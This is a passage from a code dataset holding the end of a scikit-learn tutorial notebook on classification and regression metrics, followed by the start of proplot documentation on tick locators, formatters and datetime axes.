as a baseline.\n\n# %%\nfrom sklearn.dummy import DummyClassifier\n\ndummy_classifier = DummyClassifier(\n    strategy=\"constant\", constant=\"not donated\"\n)\ndummy_classifier.fit(X_train, y_train).score(X_test, y_test)\n\n# %% [markdown]\n# This dummy classifier will always predict the negative class `'not donated'`.\n# We obtain an accuracy score of 76%. Therefore, it means that this classifier,\n# without learning anything from the data `X` is capable of predicting as\n# accurately than our logistic regression. 76% represents the baseline that\n# any classifier should overperform to not be a random classifier.\n#\n# The problem illustrated above is also known as the class imbalance problem\n# where the accuracy should not be used. In this case, one should either use\n# the precision, recall, or F1 score as presented above or the balanced\n# accuracy score instead of the accuracy.\n\n# %%\nfrom sklearn.metrics import balanced_accuracy_score\n\nbalanced_accuracy_score(y_test, y_pred)\n# %% [markdown]\n# The balanced accuracy is equivalent to the accuracy in the context of\n# balanced classes. It is defined as the average recall obtained on each class.\n#\n# ### Evaluation with different probability threshold\n#\n# All statistics that we presented up to now rely on `classifier.predict` which\n# provide the most likely label. However, we don't use the probability\n# associated with this prediction or in other words how sure are the classifier\n# confident about this prediction. By default, the prediction of a classifier\n# correspons to a thresholding at a 0.5 probability, in a binary classification\n# problem. We can quickly check this relationship with the classifier that\n# we trained.\n\n# %%\ny_proba = pd.DataFrame(\n    classifier.predict_proba(X_test),\n    columns=classifier.classes_\n)\ny_proba[:5]\n\n# %%\ny_pred = classifier.predict(X_test)\ny_pred[:5]\n\n# %%\n# Since probabilities sum to 1 we can get the class with the highest\n# probability without using the threshold 0.5\nequivalence_pred_proba = (\n    y_proba.idxmax(axis=1).to_numpy() == y_pred\n)\nnp.all(equivalence_pred_proba)\n\n# %% [markdown]\n# The default decision threshold (0.5) might not be the best threshold leading\n# to optimal performance of our classifier. In this case, one can vary the\n# decision threshold and therefore the underlying prediction and compute the\n# same statistic than presented earlier. Usually, two metrics are computed and\n# reported as a curve. Each metric is belonging to a graph axis and a point on\n# the graph corresponds to a specific decision threshold. Let's start by\n# computing the precision-recall curve.\n\n# %%\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.metrics import average_precision_score\n\ny_pred = classifier.predict_proba(X_test)\npos_label = \"donated\"\nprecision, recall, threshold = precision_recall_curve(\n    y_test, y_pred[:, 0], pos_label=pos_label,\n)\naverage_precision = average_precision_score(\n    y_test, y_pred[:, 0], pos_label=pos_label,\n)\nplt.plot(\n    recall, precision,\n    color=\"tab:orange\", linewidth=3,\n    marker=\".\", markerfacecolor=\"tab:blue\", markeredgecolor=\"tab:blue\",\n    label=f\"Average Precision: {average_precision:.2f}\",\n)\nplt.xlabel(f\"Recall\\n (Positive label: {pos_label})\")\nplt.ylabel(f\"Precision\\n (Positive label: {pos_label})\")\nplt.legend()\n\n# # FIXME: to be used when solved in scikit-learn\n# from sklearn.metrics import plot_precision_recall_curve\n\n# disp = plot_precision_recall_curve(\n#     classifier, X_test, y_test, pos_label='donated',\n# )\n\n# %% [markdown]\n# On this curve, each blue dot correspond to a certain level of probability\n# which we used as a decision threshold. We can see that by varying this\n# decision threshold, we get different compromise precision vs. recall.\n#\n# A perfect classifier is expected to have a precision at 1 even when varying\n# the recall. A metric characterizing the curve is linked to the area under the\n# curve (AUC), named averaged precision. With a ideal classifier, the\n# average precision will be 1.\n#\n# While the precision and recall metric focuses on the positive class, one\n# might be interested into the compromise between performance to discriminate\n# positive and negative classes. The statistics used in this case are the\n# sensitivity and specificity. The sensitivity is just another denomination for\n# recall. However, the specificity measures the proportion of well classified\n# samples from the negative class defined as TN / (TN + FP). Similarly to the\n# precision-recall curve, sensitivity and specificity are reported with a curve\n# called the receiver operating characteristic (ROC) curve. We will show such\n# curve:\n\n# %%\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import roc_auc_score\n\nfpr, tpr, threshold = roc_curve(y_test, y_pred[:, 0], pos_label=pos_label)\n# FIXME: roc_auc_score has a bug and we need to give the inverse probability\n# vector. Should be changed when the following is merged and released:\n# https://github.com/scikit-learn/scikit-learn/pull/17594\nroc_auc = roc_auc_score(y_test, y_pred[:, 1])\nplt.plot(\n    fpr, tpr,\n    color=\"tab:orange\", linewidth=3,\n    marker=\".\", markerfacecolor=\"tab:blue\", markeredgecolor=\"tab:blue\",\n    label=f\"ROC-AUC: {roc_auc:.2f}\"\n)\nplt.plot([0, 1], [0, 1], \"--\", color=\"tab:green\", label=\"Chance\")\nplt.xlabel(f\"1 - Specificity\\n (Positive label: {pos_label})\")\nplt.ylabel(f\"Sensitivity\\n (Positive label: {pos_label})\")\nplt.legend()\n\n# # FIXME: to be used when solved in scikit-learn\n# from sklearn.metrics import plot_roc_curve\n\n# plot_roc_curve(classifier, X_test, y_test, pos_label='donated')\n\n# %% [markdown]\n# This curve is built with the same principle than with the precision-recall\n# curve: we vary the probability threshold to compute \"hard\" prediction and\n# compute the metrics. As with the precision-recall curve as well, we can\n# compute the area under the ROC (ROC-AUC) to characterize the performance of\n# our classifier. However, this is important to observer that the lower bound\n# of the ROC-AUC is 0.5. Indeed, we represented the performance of a dummy\n# classifier (i.e. green dashed line) to show that the worse performance\n# obtained will always be above this line.\n#\n# ### Link between confusion matrix, precision-recall curve and ROC curve\n#\n# TODO: ipywidgets to play with interactive curve\n\n\n# %%\ndef plot_pr_curve(classifier, X_test, y_test, pos_label,\n                  probability_threshold, ax):\n    y_pred = classifier.predict_proba(X_test)\n    precision, recall, threshold = precision_recall_curve(\n        y_test, y_pred[:, 0], pos_label=pos_label,\n    )\n    average_precision = average_precision_score(\n        y_test, y_pred[:, 0], pos_label=pos_label,\n    )\n    ax.plot(\n        recall, precision,\n        color=\"tab:orange\", linewidth=3,\n        label=f\"Average Precision: {average_precision:.2f}\",\n    )\n    threshold_idx = np.searchsorted(\n        threshold, probability_threshold,\n    )\n    ax.plot(\n        recall[threshold_idx], precision[threshold_idx],\n        color=\"tab:blue\", marker=\".\", markersize=10,\n    )\n    ax.plot(\n        [recall[threshold_idx], recall[threshold_idx]],\n        [0, precision[threshold_idx]],\n        '--', color=\"tab:blue\",\n    )\n    ax.plot(\n        [0, recall[threshold_idx]],\n        [precision[threshold_idx], precision[threshold_idx]],\n        '--', color=\"tab:blue\",\n    )\n    ax.set_xlabel(f\"Recall\")\n    ax.set_ylabel(f\"Precision\")\n    ax.set_xlim([0, 1])\n    ax.set_ylim([0, 1])\n    ax.legend()\n    return ax\n\n\n# %%\ndef plot_roc_curve(classifier, X_test, y_test, pos_label,\n                   probability_threshold, ax):\n    y_pred = classifier.predict_proba(X_test)\n    fpr, tpr, threshold = roc_curve(y_test, y_pred[:, 0], pos_label=pos_label)\n    roc_auc = roc_auc_score(y_test, y_pred[:, 1])\n    ax.plot(\n        fpr, tpr,\n        color=\"tab:orange\", linewidth=3,\n        label=f\"ROC-AUC: {roc_auc:.2f}\"\n    )\n    ax.plot([0, 1], [0, 1], \"--\", color=\"tab:green\", label=\"Chance\")\n    threshold_idx = np.searchsorted(\n        threshold[::-1], probability_threshold,\n    )\n    threshold_idx = len(threshold) - threshold_idx - 1\n    ax.plot(\n        fpr[threshold_idx], tpr[threshold_idx],\n        color=\"tab:blue\", marker=\".\", markersize=10,\n    )\n    ax.plot(\n        [fpr[threshold_idx], fpr[threshold_idx]],\n        [0, tpr[threshold_idx]],\n        '--', color=\"tab:blue\",\n    )\n    ax.plot(\n        [0, fpr[threshold_idx]],\n        [tpr[threshold_idx], tpr[threshold_idx]],\n        '--', color=\"tab:blue\",\n    )\n    ax.set_xlabel(f\"1 - Specificity\")\n    ax.set_ylabel(f\"Sensitivity\")\n    ax.set_xlim([0, 1])\n    ax.set_ylim([0, 1])\n    ax.legend()\n    return ax\n\n\n# %%\ndef plot_confusion_matrix_with_threshold(classifier, X_test, y_test, pos_label,\n                                         probability_threshold, ax):\n    from itertools import product\n    from sklearn.metrics import confusion_matrix\n\n    class_idx = np.where(classifier.classes_ == pos_label)[0][0]\n    n_classes = len(classifier.classes_)\n\n    y_pred = classifier.predict_proba(X_test)\n    y_pred = (y_pred[:, class_idx] > probability_threshold).astype(int)\n\n    cm = confusion_matrix(\n        (y_test == pos_label).astype(int), y_pred,\n    )\n    im_ = ax.imshow(cm, interpolation='nearest')\n\n    text_ = None\n    cmap_min, cmap_max = im_.cmap(0), im_.cmap(256)\n\n    text_ = np.empty_like(cm, dtype=object)\n\n    # print text with appropriate color depending on background\n    thresh = (cm.max() + cm.min()) / 2.0\n\n    for i, j in product(range(n_classes), range(n_classes)):\n        color = cmap_max if cm[i, j] < thresh else cmap_min\n\n        text_cm = format(cm[i, j], '.2g')\n        if cm.dtype.kind != 'f':\n            text_d = format(cm[i, j], 'd')\n            if len(text_d) < len(text_cm):\n                text_cm = text_d\n\n        text_[i, j] = ax.text(\n            j, i, text_cm, ha=\"center\", va=\"center\", color=color\n        )\n\n    ax.set(\n        xticks=np.arange(n_classes),\n        yticks=np.arange(n_classes),\n        xticklabels=classifier.classes_[[int(not bool(class_idx)), class_idx]],\n        yticklabels=classifier.classes_[[int(not bool(class_idx)), class_idx]],\n        ylabel=\"True label\",\n        xlabel=\"Predicted label\"\n    )\n\n\n# %%\ndef plot_pr_roc(threshold):\n    # FIXME: we could optimize the plotting by only updating the the\n    fig, axs = plt.subplots(ncols=3, figsize=(21, 6))\n    plot_pr_curve(\n        classifier, X_test, y_test, pos_label=\"donated\",\n        probability_threshold=threshold, ax=axs[0],\n    )\n    plot_roc_curve(\n        classifier, X_test, y_test, pos_label=\"donated\",\n        probability_threshold=threshold, ax=axs[1]\n    )\n    plot_confusion_matrix_with_threshold(\n        classifier, X_test, y_test, pos_label=\"donated\",\n        probability_threshold=threshold, ax=axs[2]\n    )\n    fig.suptitle(\"Overall performance with positive class 'donated'\")\n\n\n# %%\ndef plot_pr_roc_interactive():\n    from ipywidgets import interactive, FloatSlider\n    slider = FloatSlider(min=0, max=1, step=0.01, value=0.5)\n    return interactive(plot_pr_roc, threshold=slider)\n\n\n# %%\nplot_pr_roc_interactive()\n\n# %% [markdown]\n# ## Regression\n# Unlike in the classification problem, the target `y` is a continuous\n# variable in regression problem. Therefore, the classification metrics can be\n# used to evaluate the performance of a model. Instead, there exists a set of\n# metric dedicated to regression.\n\n# %%\ndata = pd.read_csv(\n    (\"https://raw.githubusercontent.com/christophM/interpretable-ml-book/\"\n     \"master/data/bike.csv\"),\n)\n# rename the columns with human-readable names\ndata = data.rename(columns={\n    \"yr\": \"year\", \"mnth\": \"month\", \"temp\": \"temperature\", \"hum\": \"humidity\",\n    \"cnt\": \"count\", \"days_since_2011\": \"days since 2011\"\n})\n# convert the categorical columns with a proper category data type\nfor col in data.columns:\n    if data[col].dtype.kind == \"O\":\n        data[col] = data[col].astype(\"category\")\n\n# separate the target from the original data\nX = data.drop(columns=[\"count\"])\ny = data[\"count\"]\n\n# %%\nX.head()\n\n# %%\nplt.hist(y, bins=50, density=True)\nplt.xlabel(\"Number of bike rentals\")\nplt.ylabel(\"Probability\")\nplt.title(\"Target distribution\")\n\n# %% [markdown]\n# Our problem can be formulated as follow: we would like to infer the number of\n# bike rentals from data related to the current day. The number of bike rentals\n# is a number that can vary in the interval [0, infinity) (if the number of\n# bike available is infinite). As in the previous section, we will train a\n# model and we will evaluate its performance by introducing the different\n# regression metrics.\n#\n# First, we split the data into a training and a testing set.\n\n# %%\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, y_train, y_test = train_test_split(\n    X, y, shuffle=True, random_state=0\n)\n\n# %% [markdown]\n# ### Baseline model\n# We will use a random forest as a model. However, we first need to check the\n# type of data that we are dealing with:\n\n# %%\nX_train.info()\n\n# %% [markdown]\n# While some features are numeric, some have been tagged as `category`. These\n# features need to be encoded in a proper way such that our random forest can\n# deal with them. The simplest solution is to use an `OrdinalEncoder`.\n# Regarding, the numerical features, we don't need to do anything. Thus, we\n# will create a preprocessing steps to take care about this encoding.\n\n# %%\nfrom sklearn.compose import make_column_transformer\nfrom sklearn.compose import make_column_selector as selector\nfrom sklearn.preprocessing import OrdinalEncoder\n\ncategorical_selector = selector(dtype_include=\"category\")\npreprocessor = make_column_transformer(\n    (OrdinalEncoder(), categorical_selector),\n    remainder=\"passthrough\",\n)\n\nX_train_preprocessed = pd.DataFrame(\n    preprocessor.fit_transform(X_train),\n    columns=(\n        categorical_selector(X_train) +\n        [col for col in X_train.columns\n         if col not in categorical_selector(X_train)]\n    )\n)\nX_train_preprocessed.head()\n\n# %% [markdown]\n# Just to have some insights about the preprocessing, we manually preprocessed\n# the training data and we can observe that the original strings were encoded\n# with numbers. We can now create our model.\n\n# %%\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.ensemble import RandomForestRegressor\n\nregressor = make_pipeline(preprocessor, RandomForestRegressor())\nregressor.fit(X_train, y_train)\n\n# %% [markdown]\n# As for classifiers, regressors have a `score` method which will compute the\n# :math:`R^2` score (also known as the coefficient of determination) by\n# default:\n\n# %%\nregressor.score(X_test, y_test)\n\n# %% [markdown]\n# The :math:`R^2` score represents the proportion of variance of the target\n# explained by the independent variables in the model. The best score possible\n# is 1 but there is no lower bound. However, a model which would predict the\n# expected value of the target would get a score of 0.\n\n# %%\nfrom sklearn.dummy import DummyRegressor\n\ndummy_regressor = DummyRegressor(strategy=\"mean\")\ndummy_regressor.fit(X_train, y_train).score(X_test, y_test)\n\n# %% [markdown]\n# The :math:`R^2` score gives insights regarding the goodness of fit of the\n# model. However, this score cannot be compared from one dataset to another and\n# the value obtained does not have a meaningful interpretation regarding the\n# original unit of the target. If we want to get such interpretable score, we\n# will be interested into the median or mean absolute error.\n\n# %%\nfrom sklearn.metrics import mean_absolute_error\n\ny_pred = regressor.predict(X_test)\nprint(\n    f\"Mean absolute error: {mean_absolute_error(y_test, y_pred):.0f}\"\n)\n\n# %% [markdown]\n# By computing the mean absolute error, we can interpret that our model is\n# predicting in average 507 bike rentals away from the truth. The mean can be\n# impacted by large error while for some application, we would like to discard\n# them and we can in this case opt for the median absolute error.\n\n# %%\nfrom sklearn.metrics import median_absolute_error\n\nprint(\n    f\"Median absolute error: {median_absolute_error(y_test, y_pred):.0f}\"\n)\n\n# %% [markdown]\n# In this case, our model make an error of 405 bikes.\n# FIXME: **not sure how to introduce the `mean_squared_error`.**\n\n# %% [markdown]\n# In addition of metrics, we can visually represent the results by plotting\n# the predicted values versus the true values.\n\n\n# %%\ndef plot_predicted_vs_actual(y_true, y_pred, title=None):\n    plt.scatter(y_true, y_pred)\n\n    max_value = np.max([y_true.max(), y_pred.max()])\n    plt.plot(\n        [0, max_value],\n        [0, max_value],\n        color=\"tab:orange\",\n        linewidth=3,\n        label=\"Perfect fit\",\n    )\n\n    plt.xlabel(\"True values\")\n    plt.ylabel(\"Predicted values\")\n    plt.axis(\"square\")\n    plt.legend()\n    if title is not None:\n        plt.title(title)\n\n\nplot_predicted_vs_actual(y_test, y_pred)\n\n# %% [markdown]\n# On this plot, the perfect prediction will lay on the diagonal line. This plot\n# allows to detect if the model have a specific regime where our model does not\n# work as expected or has some kinda of bias.\n#\n# Let's take an example using the house prices in Ames.\n\n# %%\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import RidgeCV\n\nX, y = fetch_openml(name=\"house_prices\", as_frame=True, return_X_y=True)\nX = X.select_dtypes(np.number).drop(\n    columns=[\"LotFrontage\", \"GarageYrBlt\", \"MasVnrArea\"]\n)\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=1)\n\n# %% [markdown]\n# We will fit a ridge regressor on the data and plot the prediction versus the\n# actual values.\n\n# %%\nmodel = make_pipeline(StandardScaler(), RidgeCV())\nmodel.fit(X_train, y_train)\ny_pred = model.predict(X_test)\n\nplot_predicted_vs_actual(y_test, y_pred, title=\"House prices in Ames\")\n\n# %% [markdown]\n# On this plot, we see that for the large \"True values\", our model tend to\n# under-estimate the price of the house. Typically, this issue arises when\n# the target to predict does not follow a normal distribution and the model\n# could benefit of an intermediate target transformation.\n\n# %%\nfrom sklearn.preprocessing import QuantileTransformer\nfrom sklearn.compose import TransformedTargetRegressor\n\nmodel_transformed_target = TransformedTargetRegressor(\n    regressor=model,\n    transformer=QuantileTransformer(\n        n_quantiles=900, output_distribution=\"normal\"\n    ),\n)\nmodel_transformed_target.fit(X_train, y_train)\ny_pred = model_transformed_target.predict(X_test)\n\nplot_predicted_vs_actual(y_test, y_pred, title=\"House prices in Ames\")\n\n# %% [markdown]\n# Thus, once we transformed the target, we see that we corrected some of the\n# high values.\n#\n# ## Summary\n# In this notebook, we presented the metrics and plots useful to evaluate and\n# get insights about models. We both focus on regression and classification\n# problems.\n", "meta": {"hexsha": "739806ee926705833e1fb883b25ad5a7482f4113", "size": 27060, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_scripts/metrics.py", "max_stars_repo_name": "jeremiedbb/scikit-learn-mooc", "max_stars_repo_head_hexsha": "bda9604cd4ed4dc3cd93d67b4ffbc1a09f438178", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python_scripts/metrics.py", "max_issues_repo_name": "jeremiedbb/scikit-learn-mooc", "max_issues_repo_head_hexsha": "bda9604cd4ed4dc3cd93d67b4ffbc1a09f438178", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2020-08-19T09:34:29.000Z", "max_issues_repo_issues_event_max_datetime": "2020-08-31T13:37:03.000Z", "max_forks_repo_path": "python_scripts/metrics.py", "max_forks_repo_name": "lucyleeow/scikit-learn-mooc", "max_forks_repo_head_hexsha": "adce6e0a9393be7d6e22fc393cdbdaf5698dda68", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.3725490196, "max_line_length": 79, "alphanum_fraction": 0.7293422025, "include": true, "reason": "import numpy", "num_tokens": 6393, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.16667541089705434, "lm_q1q2_score": 0.07878471268995882}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.11.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_cartesian:\n#\n# Cartesian axes\n# ==============\n#\n# This section documents features used for modifying Cartesian *x* and *y*\n# axes, including axis scales, tick locations, tick label formatting, and\n# several twin and dual axes commands.\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_locators:\n#\n# Tick locations\n# --------------\n#\n# Matplotlib `tick locators\n# <https://matplotlib.org/stable/gallery/ticks_and_spines/tick-locators.html>`__\n# select sensible tick locations based on the axis data limits. In proplot, you can\n# change the tick locator using the `~proplot.axes.CartesianAxes.format` keyword\n# arguments `xlocator`, `ylocator`, `xminorlocator`, and `yminorlocator` (or their\n# aliases, `xticks`, `yticks`, `xminorticks`, and `yminorticks`). This is powered by\n# the `~proplot.constructor.Locator` :ref:`constructor function <why_constructor>`.\n#\n# You can use these keyword arguments to apply built-in matplotlib\n# `~matplotlib.ticker.Locator`\\ s by their \"registered\" names\n# (e.g., ``xlocator='log'``), to draw ticks every ``N`` data values with\n# `~matplotlib.ticker.MultipleLocator` (e.g., ``xlocator=2``), or to tick the\n# specific locations in a list using `~matplotlib.ticker.FixedLocator` (just\n# like `~matplotlib.axes.Axes.set_xticks` and `~matplotlib.axes.Axes.set_yticks`).\n# If you want to work with the locator classes directly, they are available in the\n# top-level namespace (e.g., ``xlocator=pplt.MultipleLocator(...)`` is allowed).\n#\n# To generate lists of tick locations, we recommend using proplot's\n# `~proplot.utils.arange` function -- it\u2019s basically an endpoint-inclusive\n# version of `numpy.arange`, which is usually what you'll want in this context.\n\n# %%\nimport proplot as pplt\nimport numpy as np\nstate = np.random.RandomState(51423)\npplt.rc.update(\n    metawidth=1, fontsize=10,\n    metacolor='dark blue', suptitlecolor='dark blue',\n    titleloc='upper center', titlecolor='dark blue', titleborder=False,\n    axesfacecolor=pplt.scale_luminance('powderblue', 1.15),\n)\nfig = pplt.figure(share=False, refwidth=5, refaspect=(8, 1))\nfig.format(suptitle='Tick locators demo')\n\n# Step size for tick locations\nax = fig.subplot(711, title='MultipleLocator')\nax.format(xlim=(0, 200), xminorlocator=10, xlocator=30)\n\n# Specific list of locations\nax = fig.subplot(712, title='FixedLocator')\nax.format(xlim=(0, 10), xminorlocator=0.1, xlocator=[0, 0.3, 0.8, 1.6, 4.4, 8, 8.8])\n\n# Ticks at numpy.linspace(xmin, xmax, N)\nax = fig.subplot(713, title='LinearLocator')\nax.format(xlim=(0, 10), xlocator=('linear', 21))\n\n# Logarithmic locator, used automatically for log scale plots\nax = fig.subplot(714, title='LogLocator')\nax.format(xlim=(1, 100), xlocator='log', xminorlocator='logminor')\n\n# Maximum number of ticks, but at \"nice\" locations\nax = fig.subplot(715, title='MaxNLocator')\nax.format(xlim=(1, 7), xlocator=('maxn', 11))\n\n# Hide all ticks\nax = fig.subplot(716, title='NullLocator')\nax.format(xlim=(-10, 10), xlocator='null')\n\n# Tick locations that cleanly divide 60 minute/60 second intervals\nax = fig.subplot(717, title='Degree-Minute-Second Locator (requires cartopy)')\nax.format(xlim=(0, 2), xlocator='dms', xformatter='dms')\n\npplt.rc.reset()\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_formatters:\n#\n# Tick formatting\n# ---------------\n#\n# Matplotlib `tick formatters\n# <https://matplotlib.org/stable/gallery/ticks_and_spines/tick-formatters.html>`__\n# convert floating point numbers to nicely-formatted tick labels. In proplot, you can\n# change the tick formatter using the `~proplot.axes.CartesianAxes.format` keyword\n# arguments `xformatter` and `yformatter` (or their aliases, `xticklabels` and\n# `yticklabels`). This is powered by the `~proplot.constructor.Formatter`\n# :ref:`constructor function <why_constructor>`.\n#\n# You can use these keyword arguments to apply built-in matplotlib\n# `~matplotlib.ticker.Formatter`\\ s by their \"registered\" names\n# (e.g., ``xformatter='log'``), to apply a ``%``-style format directive with\n# `~matplotlib.ticker.FormatStrFormatter` (e.g., ``xformatter='%.0f'``), or\n# to apply custom tick labels with `~matplotlib.ticker.FixedFormatter` (just\n# like `~matplotlib.axes.Axes.set_xticklabels`). You can also apply one of proplot's\n# new tick formatters -- for example, ``xformatter='deglat'`` to label ticks\n# as geographic latitude coordinates, ``xformatter='pi'`` to label ticks as\n# fractions of :math:`\\pi`, or ``xformatter='sci'`` to label ticks with\n# scientific notation. If you want to work with the formatter classes\n# directly, they are available in the top-level namespace\n# (e.g., ``xformatter=pplt.SciFormatter(...)`` is allowed).\n#\n# Proplot also changes the default tick formatter to\n# `~proplot.ticker.AutoFormatter`. This class trims trailing zeros by\n# default, can optionally omit or wrap tick values within particular\n# number ranges, and can add prefixes and suffixes to each label. See\n# `~proplot.ticker.AutoFormatter` for details. To disable the trailing\n# zero-trimming feature, set :rcraw:`formatter.zerotrim` to ``False``.\n\n# %%\nimport proplot as pplt\npplt.rc.fontsize = 11\npplt.rc.metawidth = 1.5\npplt.rc.gridwidth = 1\n\n# Create the figure\nfig, axs = pplt.subplots(ncols=2, nrows=2, refwidth=1.5, share=False)\naxs.format(\n    ytickloc='both', yticklabelloc='both',\n    titlepad='0.5em', suptitle='Default formatters demo'\n)\n\n# Formatter comparison\nlocator = [0, 0.25, 0.5, 0.75, 1]\naxs[0].format(xformatter='scalar', yformatter='scalar', title='Matplotlib formatter')\naxs[1].format(title='Proplot formatter')\naxs[:2].format(xlocator=locator, ylocator=locator)\n\n# Limiting the tick range\naxs[2].format(\n    title='Omitting tick labels', ticklen=5, xlim=(0, 5), ylim=(0, 5),\n    xtickrange=(0, 2), ytickrange=(0, 2), xlocator=1, ylocator=1\n)\n\n# Setting the wrap range\naxs[3].format(\n    title='Wrapping the tick range', ticklen=5, xlim=(0, 7), ylim=(0, 6),\n    xwraprange=(0, 5), ywraprange=(0, 3), xlocator=1, ylocator=1\n)\npplt.rc.reset()\n\n\n# %%\nimport proplot as pplt\nimport numpy as np\npplt.rc.update(\n    metawidth=1.2, fontsize=10, axesfacecolor='gray0', figurefacecolor='gray2',\n    metacolor='gray8', gridcolor='gray8', titlecolor='gray8', suptitlecolor='gray8',\n    titleloc='upper center', titleborder=False,\n)\nfig = pplt.figure(refwidth=5, refaspect=(8, 1), share=False)\n\n# Scientific notation\nax = fig.subplot(911, title='SciFormatter')\nax.format(xlim=(0, 1e20), xformatter='sci')\n\n# N significant figures for ticks at specific values\nax = fig.subplot(912, title='SigFigFormatter')\nax.format(\n    xlim=(0, 20), xlocator=(0.0034, 3.233, 9.2, 15.2344, 7.2343, 19.58),\n    xformatter=('sigfig', 2),  # 2 significant digits\n)\n\n# Fraction formatters\nax = fig.subplot(913, title='FracFormatter')\nax.format(xlim=(0, 3 * np.pi), xlocator=np.pi / 4, xformatter='pi')\nax = fig.subplot(914, title='FracFormatter')\nax.format(xlim=(0, 2 * np.e), xlocator=np.e / 2, xticklabels='e')\n\n# Geographic formatters\nax = fig.subplot(915, title='Latitude Formatter')\nax.format(xlim=(-90, 90), xlocator=30, xformatter='deglat')\nax = fig.subplot(916, title='Longitude Formatter')\nax.format(xlim=(0, 360), xlocator=60, xformatter='deglon')\n\n# User input labels\nax = fig.subplot(917, title='FixedFormatter')\nax.format(\n    xlim=(0, 5), xlocator=np.arange(5),\n    xticklabels=['a', 'b', 'c', 'd', 'e'],\n)\n\n# Custom style labels\nax = fig.subplot(918, title='FormatStrFormatter')\nax.format(xlim=(0, 0.001), xlocator=0.0001, xformatter='%.E')\nax = fig.subplot(919, title='StrMethodFormatter')\nax.format(xlim=(0, 100), xtickminor=False, xlocator=20, xformatter='{x:.1f}')\nfig.format(ylocator='null', suptitle='Tick formatters demo')\npplt.rc.reset()\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _pandas: https://pandas.pydata.org\n#\n# .. _ug_datetime:\n#\n# Datetime ticks\n# --------------\n#\n# The above examples all assumed typical \"numeric\" axes. However\n# `~proplot.axes.CartesianAxes.format` can also modify the tick locations and tick\n# labels for \"datetime\" axes. To draw ticks on each occurence of some particular time\n# unit, use a unit string (e.g., ``xlocator='month'``). To draw ticks every ``N`` time\n# units, use a (unit, N) tuple (e.g., ``xlocator=('day', 5)``). For `% style formatting\n# <https://docs.python.org/3/library/datetime.html#strftime-strptime-behavior>`__\n# of datetime tick labels with `~datetime.datetime.strftime`, you can use a string\n# containing ``'%'`` (e.g. ``xformatter='%Y-%m-%d'``). By default, *x* axis datetime\n# axis labels are rotated 90 degrees, like in `pandas`_. This can be disabled by\n# passing ``xrotation=0`` to `~proplot.axes.CartesianAxes.format` or by setting\n# :rcraw:`formatter.timerotation` to ``0``. See `~proplot.constructor.Locator`\n# and `~proplot.constructor.Formatter` for details.\n\n# %%\nimport proplot as pplt\nimport numpy as np\npplt.rc.update(\n    metawidth=1.2, fontsize=10, ticklenratio=0.7,\n    figurefacecolor='w', axesfacecolor='pastel blue',\n    titleloc='upper center', titleborder=False,\n)\nfig, axs = pplt.subplots(nrows=5, refwidth=6, refaspect=(8, 1), share=False)\n\n# Default date locator\n# This is enabled if you plot datetime data or set datetime limits\nax = axs[0]\nax.format(\n    xlim=(np.datetime64('2000-01-01'), np.datetime64('2001-01-02')),\n    title='Auto date locator and formatter'\n)\n\n# Concise date formatter introduced in matplotlib 3.1\nax = axs[1]\nax.format(\n    xlim=(np.datetime64('2000-01-01'), np.datetime64('2001-01-01')),\n    xformatter='concise', title='Concise date formatter',\n)\n\n# Minor ticks every year, major every 10 years\nax = axs[2]\nax.format(\n    xlim=(np.datetime64('2000-01-01'), np.datetime64('2050-01-01')),\n    xlocator=('year', 10), xformatter='\\'%y', title='Ticks every N units',\n)\n\n# Minor ticks every 10 minutes, major every 2 minutes\nax = axs[3]\nax.format(\n    xlim=(np.datetime64('2000-01-01T00:00:00'), np.datetime64('2000-01-01T12:00:00')),\n    xlocator=('hour', range(0, 24, 2)), xminorlocator=('minute', range(0, 60, 10)),\n    xformatter='T%H:%M:%S', title='Ticks at specific intervals',\n)\n\n# Month and year labels, with default tick label rotation\nax = axs[4]\nax.format(\n    xlim=(np.datetime64('2000-01-01'), np.datetime64('2008-01-01')),\n    xlocator='year', xminorlocator='month',  # minor ticks every month\n    xformatter='%b %Y', title='Ticks with default rotation',\n)\naxs[:4].format(xrotation=0)  # no rotation for the first four examples\nfig.format(ylocator='null', suptitle='Datetime locators and formatters demo')\npplt.rc.reset()\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_loc:\n#\n# Axis positions\n# --------------\n#\n# The locations of `axis spines\n# <https://matplotlib.org/stable/gallery/ticks_and_spines/spines.html>`__,\n# tick marks, tick labels, and axis labels can be controlled with\n# `proplot.axes.CartesianAxes.format` keyword arguments like `xspineloc`\n# (shorthand `xloc`), `xtickloc`, `xticklabelloc`, and `xlabelloc`. Valid\n# locations include ``'left'``, ``'right'``, ``'top'``, ``'bottom'``, ``'neither'``,\n# ``'none'``, or ``'both'``. Spine locations can also be set to a valid\n# `~matplotlib.spines.Spine.set_position` value, e.g. ``'zero'`` or\n# ``('axes', 1.5)``. The top or right spine is used when the coordinate is\n# more than halfway across the axes. This is often convenient when passing\n# e.g. `loc` to :ref:`\"alternate\" axes commands <ug_alt>`. These keywords\n# provide the functionality of matplotlib's `~matplotlib.axis.YAxis.tick_left`,\n# 